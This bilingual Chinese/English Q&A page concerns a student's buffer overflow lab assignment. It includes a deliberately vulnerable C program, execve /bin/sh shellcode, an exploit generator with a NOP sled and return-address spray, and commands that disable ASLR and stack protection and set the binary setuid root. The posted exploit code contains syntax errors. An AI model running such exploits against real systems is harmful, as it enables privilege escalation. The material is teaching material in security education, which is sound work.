缓冲区溢出漏洞实验室问题 [英] Buffer Overflow Vulnerability Lab problems
问题描述
我有一个实验任务要坚持。基本上，我必须利用缓冲区溢出来生成具有root特权的shell。我必须使用2个单独的.c文件。这是第一个：
stack.c
I have a lab assignment that I am stuck on. Basically, I have to take advantage of a buffer overflow to generate a shell that has root privileges. I have to use 2 separate .c files. Here is the first one: stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
这里是第二个：
exploit.c
Here is the second one: exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
我只能修改第二个。这是我所做的更改：
I can only modify the second one. Here are the changes I have made:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\\
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
然后我从命令行执行了以下操作
I then executed the following from command line
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
但是，尽管它确实生成带有实际数据和shell的 badfile，但说shell仅具有基本的用户特权。事先，我确实在root用户中执行过以下命令：
However, while it does generate a "badfile" with actual data and a shell, said shell only has basic user privileges. Beforehand, I did execute the following in root:
echo 0 > /proc/sys/kernel/randomize_va_space
实验室说，我需要在root用户目录中执行以下命令：
The Lab says I instead need to execute the following in root:
sysctl -w kernel.randomize_va_space=0
但是，如果我这样做，那么当我执行堆栈时，会出现非法指令错误。有人可以帮我这个忙吗？
However, if I do that, then when I execute "stack", I get an "illegal instruction" error. Can someone help me out with this one?
推荐答案
我知道问题出在哪里。我不得不将zsh链接到/ bin / bash /。我跳过了，因为我以为只有在使用Fedora时才需要这样做。我正在使用Ubuntu。
I figured out what the problem was. I had to link the zsh to /bin/bash/. I skipped that because I thought I only had to do that if I was using Fedora. I was using Ubuntu.
这篇关于缓冲区溢出漏洞实验室问题的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
